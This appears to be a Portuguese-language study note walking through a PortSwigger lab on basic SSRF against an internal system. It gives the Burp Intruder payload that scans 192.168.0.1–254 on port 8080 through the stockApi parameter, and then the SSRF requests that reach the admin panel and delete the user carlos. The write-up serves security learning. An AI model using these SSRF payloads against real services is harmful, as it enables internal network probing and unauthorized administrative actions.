> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/web/ssrf/basic-ssrf-against-internal-system.md).
# SSRF Básico Contra um Sistema Interno
Notas sobre SSRF Básico Contra um Sistema Interno para laboratórios da PortSwigger Web Security Academy, incluindo fluxo de exploração, teste de payloads, validação no Burp Suite e contexto de remediação.
## SSRF básico contra outro sistema de back-end
Este laboratório oferece um recurso de verificação de estoque que consulta um serviço interno. / O objetivo é usar esse mecanismo para analisar o intervalo interno **192.168.0.X** procurando uma interface de administração na porta **8080**, depois exclua o usuário carlos.
#### **Análise e Exploração**
* O **stockApi** o parâmetro é enviado para **Intruder** para automatizar o teste de endereço interno:
```javascript
stockApi=http://192.168.0.§1§:8080/admin
```
É realizado um ataque de força bruta grosseiro no **254 endereços possíveis** do intervalo interno, todos com a rota /admin.
Um dicionário de valores é baixado para alimentar o ataque:
```bash
wget https://gist.githubusercontent.com/danielthall/09b8f173b5c0b84065d8e211def83c0b/raw/20d713765b3fa620c09aebd36e41ce69debef865/0-1000.txt
```
* Após iniciar o ataque, o **192.168.0.14** endereço retorna um \*\*código HTTP 200\*\*, indicando que a interface de administração está acessível.
#### **Exclusão do usuário**
* Acesso ao painel de administração:
```javascript
stockApi=http://192.168.0.14:8080/admin
stockApi=http://192.168.0.14:8080/admin/delete?username=carlos
```
---
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